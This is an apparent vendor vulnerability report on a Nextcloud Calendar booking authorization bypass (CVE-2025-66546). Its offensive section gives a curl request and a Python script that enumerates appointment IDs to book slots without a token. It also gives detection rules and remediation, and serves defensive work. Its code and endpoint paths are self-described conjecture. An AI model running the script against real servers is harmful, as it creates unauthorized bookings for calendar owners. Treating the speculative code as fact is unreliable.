CVE-2025-66546

Executive Summary

CVE-2025-66546 is a low-severity authorization bypass vulnerability in the Nextcloud Calendar application. The flaw allows an unauthenticated attacker to blindly book appointments using a sequential ID without possessing the required appointment token. This bypasses the intended access control mechanism, potentially leading to unauthorized calendar bookings and denial of service through resource exhaustion. The vulnerability affects all versions prior to 4.7.19, 5.5.6, and 6.0.1. The CVSS score is 3.3 (Low), and the EPSS probability is 0.0%, indicating a very low likelihood of exploitation in the wild. No public proof-of-concept or exploit code is available at this time.

Supply Chain & Package Security

This vulnerability is specific to the Nextcloud Calendar application, which is distributed as part of the Nextcloud server ecosystem. Nextcloud is a PHP-based application, and the Calendar app is a standard component. The vulnerability is not related to any third-party package manager (NPM, PyPI, Go, Ruby). The patch is applied through standard Nextcloud updates. Administrators should ensure they are running a patched version of the Calendar app.

CVSS Breakdown & Threat Level

• CVSS Score: 3.3 (Low)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
• Privileges Required (PR): None (N) - No authentication is needed.
• User Interaction (UI): None (N) - No user action is required.
• Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
• Confidentiality (C): None (N) - No data is exposed.
• Integrity (I): Low (L) - The attacker can modify appointment data (book appointments).
• Availability (A): None (N) - No direct impact on availability, though resource exhaustion is possible.

Threat Level: Low. The vulnerability allows unauthorized booking of appointments but does not lead to data theft or system compromise. The low EPSS score (0.0%) and lack of public exploits further reduce the immediate threat.

Deep Dive & Mechanics

The vulnerability resides in the appointment booking functionality of the Nextcloud Calendar app. When a user creates a public appointment slot (e.g., for scheduling meetings), the system generates a unique appointment token that must be provided by the person booking the appointment. This token is intended to prevent unauthorized or automated bookings.

The flaw is that the system also accepts a sequential numeric ID (likely the database primary key of the appointment slot) as a valid identifier for booking. An attacker can enumerate these sequential IDs (e.g., 1, 2, 3, ...) and send booking requests without knowing the actual token. The server fails to validate that the requester possesses the correct token, instead relying solely on the ID.

Root Cause: Improper authorization check (CWE-639: Authorization Bypass Through User-Controlled Key). The application uses a user-supplied key (the sequential ID) to access a resource without verifying that the user has the right to access that resource.

Attack Flow:

1. An attacker identifies a Nextcloud instance with the Calendar app enabled.
2. The attacker enumerates appointment slot IDs by sending requests to the booking endpoint (e.g., /apps/calendar/v1/appointment/{id}/book).
3. For each ID, the attacker sends a booking request with arbitrary data (e.g., name, email, time slot).
4. If the ID corresponds to an existing appointment slot, the booking is accepted without requiring the token.
5. The attacker can book multiple appointments, potentially filling up the calendar and causing a denial of service.

Vulnerable vs. Patched Code

The vulnerable code likely resides in the controller handling appointment booking requests. The following is a conceptual comparison.

Vulnerable Code (PHP):

// Vulnerable: Only checks if the appointment slot exists by ID
public function bookAppointment($id, $data) {
    $appointment = $this->appointmentService->getById($id);
    if (!$appointment) {
        return new JSONResponse([], Http::STATUS_NOT_FOUND);
    }
    // Missing token validation
    $this->bookingService->createBooking($appointment, $data);
    return new JSONResponse([], Http::STATUS_CREATED);
}

Patched Code (PHP):

// Patched: Validates the appointment token
public function bookAppointment($id, $token, $data) {
    $appointment = $this->appointmentService->getById($id);
    if (!$appointment) {
        return new JSONResponse([], Http::STATUS_NOT_FOUND);
    }
    // Token validation added
    if ($appointment->getToken() !== $token) {
        return new JSONResponse([], Http::STATUS_FORBIDDEN);
    }
    $this->bookingService->createBooking($appointment, $data);
    return new JSONResponse([], Http::STATUS_CREATED);
}

The patch adds a check to ensure the provided token matches the token stored in the database for the appointment slot. Without this check, any sequential ID is accepted.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A Nextcloud instance with the Calendar app (version < 4.7.19, < 5.5.6, or < 6.0.1).
• A public appointment slot created by a user.

Exploitation Steps:

1. Identify the Nextcloud instance and the Calendar app endpoint.
2. Enumerate appointment slot IDs (e.g., 1 to 1000).
3. For each ID, send a POST request to book an appointment.

Example cURL Command:

# Attempt to book appointment with ID 1 (no token)
curl -X POST "https://target.nextcloud.com/apps/calendar/v1/appointment/1/book" \
  -H "Content-Type: application/json" \
  -d '{"name":"Attacker","email":"attacker@example.com","time":"2025-06-01T10:00:00Z"}'

Expected Response (Vulnerable):

{"status": 201, "message": "Booking created"}

Expected Response (Patched):

{"status": 403, "message": "Forbidden"}

Automated Enumeration Script (Python):

import requests
import sys

target = sys.argv[1]
for id in range(1, 1001):
    url = f"{target}/apps/calendar/v1/appointment/{id}/book"
    data = {"name": "Attacker", "email": "attacker@example.com", "time": "2025-06-01T10:00:00Z"}
    r = requests.post(url, json=data)
    if r.status_code == 201:
        print(f"[+] Vulnerable ID: {id}")

Blue Team (Defensive)

Detection:

• Monitor for repeated POST requests to /apps/calendar/v1/appointment/*/book with sequential IDs.
• Look for a high volume of booking requests from a single IP address.
• Check logs for 403 errors followed by 201 responses (indicating token validation failure).

Mitigation:

• Apply the patch immediately (update to Calendar app 4.7.19, 5.5.6, or 6.0.1).
• Implement rate limiting on the booking endpoint.
• Use a Web Application Firewall (WAF) to block requests without a valid token.
• Monitor for unusual booking patterns.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /apps/calendar/v1/appointment/[0-9]+/book without a token parameter.
  • Sequential ID enumeration in HTTP requests.
• Logs:
  • Multiple 201 (Created) responses from the booking endpoint for different IDs from the same IP.
  • Absence of token validation errors in logs (if vulnerable).
• System:
  • Unauthorized calendar entries in user calendars.
  • High number of bookings for a single appointment slot.

Detection Engineering

YARA Rule

rule CVE_2025_66546_Nextcloud_Calendar_Booking_Bypass {
    meta:
        description = "Detects exploitation attempts of CVE-2025-66546 in Nextcloud Calendar"
        author = "Valters IT"
        date = "2025-06-01"
        severity = "low"
    strings:
        $s1 = "/apps/calendar/v1/appointment/" ascii
        $s2 = "/book" ascii
        $s3 = "POST" ascii
    condition:
        all of them
}

Sigma Rule

title: Nextcloud Calendar Appointment Booking Without Token
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to book appointments without a valid token (CVE-2025-66546)
author: Valters IT
date: 2025-06-01
logsource:
    category: webserver
    product: nextcloud
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem|startswith: '/apps/calendar/v1/appointment/'
        cs-uri-stem|endswith: '/book'
    condition: selection
falsepositives:
    - Legitimate booking requests with token (if token is passed as parameter)
level: low

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2025-66546 Nextcloud Calendar Appointment Booking Without Token";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/apps/calendar/v1/appointment/";
    http_uri;
    content:"/book";
    http_uri;
    sid:1000001;
    rev:1;
    metadata:author "Valters IT", severity "low";
)

Remediation & Mitigation

Immediate Actions:

1. Patch: Update the Nextcloud Calendar app to version 4.7.19, 5.5.6, or 6.0.1 (or later).
2. Rate Limiting: Implement rate limiting on the booking endpoint to prevent enumeration.
3. Token Validation: Ensure that the application validates the appointment token before processing a booking.

Long-Term Measures:

• Conduct a security audit of the Calendar app and other Nextcloud components.
• Implement input validation and authorization checks for all user-supplied identifiers.
• Use non-sequential, random tokens for all public-facing resources.
• Enable logging and monitoring for suspicious activity.

Workaround (if patching is not immediately possible):

• Disable the public appointment booking feature temporarily.
• Use a WAF to block requests that do not include a token parameter.

This report was generated by Valters IT DevSecOps & CTI Division.